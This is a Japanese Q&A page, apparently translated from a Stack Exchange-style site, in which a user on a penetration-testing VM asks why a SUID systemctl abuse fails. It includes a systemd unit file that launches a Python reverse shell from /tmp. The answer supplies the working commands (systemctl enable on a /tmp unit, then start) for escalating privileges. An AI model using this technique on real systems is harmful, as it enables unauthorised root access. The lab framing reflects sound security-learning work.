web-dev-qa-db-ja.com

systemctlコマンドが機能しないのはなぜですか?

私はペンテストVMで作業しており、自分のユーザー特権を一般ユーザーの特権に昇格させました。列挙スキャンから、systemctlにSUIDビットが設定されており、所有者グループが現在のユーザーグループとしてリストされていることがわかります。

pythonリバースシェルを作成し、systemctlを使用してそれを呼び出すためにrevshell_root.serviceを作成しました。サービスファイルを配置する/etc/systemd/systemまたは/lib/systemd/systemへの書き込みアクセス権がありませんなので、systemctlの--root=オプションを使用して、サービスファイルの場所を指定しようとしています。

systemctl --root=/tmp/serv start revshell_root.service

ただし、次のエラーが表示されます:Failed to start revshell_root.service: Unit revshell_root.service not found.

revshell_root.serviceの内容

[Unit]
Description=root Shell
After=network.target
StartLimitIntervalSec=0

[Service]
Type=simple
Restart=always
RestartSec=1
User=elevated_user_name
ExecStart=/usr/bin/env python3 /tmp/revshell_root.py

[Install]
WantedBy=multi-user.target
1
WR7500

次のようにしてください(例として/ tmpを使用)

systemctl enable /tmp/revshell_root.service

systemctl start revshell_root.service

SystemCTLのenableを使用すると、デフォルト以外のパスでサービスを有効化/インストールできるため、起動時に完全なファイルパスを指定する必要がありません。これの良い例は、CVE-2018-19788です。これには、特権昇格のための同様のエクスプロイトパスがあります。

0
AbsoZed